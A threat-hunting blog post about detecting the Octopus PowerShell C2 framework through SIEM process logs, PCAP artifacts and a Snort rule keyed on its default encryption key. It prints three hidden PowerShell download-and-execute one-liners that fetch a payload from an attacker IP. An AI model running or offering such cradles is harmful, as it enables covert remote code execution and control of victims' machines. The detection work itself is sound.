Octopus is an open-source, pre-operation C2 server written in python3. Octopus can control its agents with PowerShell and communicate on HTTP or HTTPS protocols.
Based on the article published here, Octopus has the following features:
- Control agents through HTTP/S.
- Execute system commands.
- Download files.
- Load external PowerShell modules.
- Use encrypted channels (AES-256) between C2 and agents.
- Use inconspicuous techniques to execute commands and transfer results.
- Create custom and multiple listeners for each target.
- Generate different types of payloads.
- Support all Windows versions with PowerShell 2.0 and higher.
- Run Octopus windows, executable agent, without touching powershell.exe process.
- Create Custom profiles.
- Gather information automatically from the endpoint (endpoint situational awareness) feature.
You can check the article about the installation and configuration of octopus here. In this section, we are going to check the PowerShell one-liner agent and the http_listener. In this agent we have the following PowerShell commands:
powershell -w hidden “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.2.18:443/page.php’);”
powershell -w hidden “Invoke-Expression (New-Object Net.WebClient).DownloadString(‘http://192.168.2.18:443/page.php’);”
powershell -w hidden “$l = (New-Object Net.WebClient).DownloadString(‘http://192.168.2.18:443/page.php’);Invoke-Expression $l;”
Now let’s hunt the octopus with our spears…
Executing the agent on victim
We know that these commands will execute in the context of the powershell.exe process.
I should remind you that these commands can execute directly from powershell.exe or cmd.exe that will redirect the flow to powershell.exe in the end.
If you look carefully at the PowerShell commands you can see that there are common parameters like hidden, DownloadString, New-Object Net.WebClient etc.
As you know the malicious PowerShell commands usually need to be run in a hidden window style, so we use a “hidden” parameter in our search.
After executing the commands on the victims’ machine, we see the following logs for powershell.exe on our SIEM:
As you can see we see the malicious PowerShell command executed in the context of the powershell.exe and the cmd.exe is its parent image.
After that, we execute discovery commands like whoami, net users, ipconfig on the octopus server.
As you can see the parent image of these commands is powershell.exe
Another interesting thing that we see is that the powershell.exe established a network connection to your server. Depending on your environment, PowerShell creating a network connection may be odd.
For more investigation we will see the network flow and investigate it for more artifacts.
As we carefully navigate through PCAP, in the initial stage of connection we see interesting things like the following:
-/page.php: this is the page that we stored our payload
-Server: this is the header that octopus server will respond in the initial stage of connection
-Interval: this is the time that the agent will wait to execute the commands, and it’s informed by the C2
-key: this is the key that will be used to encrypt the data between agent and server by default and it is using AES-256 encryption and it is pre-generated. (The next version of Octopus will have a key exchange algorithm that transfers the encryption key securely.)
– System.Security.Cryptography: the pre-generated key will use in this object to encrypt data between victim and server
After the initial connection we will execute commands like whoami , ipconfig, etc. on our victim:
In this stage like the previous one we will see interesting things like the following:
-/bills: this is the page that the victim requested after the executed command
-Werkzeug: this is the header that server responded after the victim informed it about the executed command, and it is strange because the server changed its server field, in the previous stage the server responded nginx and now it returned Werkzeug.
Till now we found varied artifacts to detect the network communication between the agent and the server. The best one that we can use is the key parameter:
$Key=U1hXTUtCWVRSSkxDSE9KS0pTTVpNTVRaRVZDQlREVEg=
This parameter is permanent as it is pre-generated key, we can use this field to create a detection rule in our NSM/IDS
In below you can see the snort rule:
Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: “octopus c2 detected”; flow:established, from server; content:”U1hXTUtCWVRSSkxDSE9KS0pTTVpNTVRaRVZDQlREVEg=”; nocase; sid:5000000; rev:1; )
I should mention that in this article we used http listener, and in http traffic we saw PowerShell commands. With a simple NSM/IDS you can detect this C2 because it will trigger NSM/IDS rules in a second.
I hope you enjoyed this article with all its Shortages, in the next part we will check other aspects of this interesting C2.
Secure Your Organization’s Mind with Securemind.se
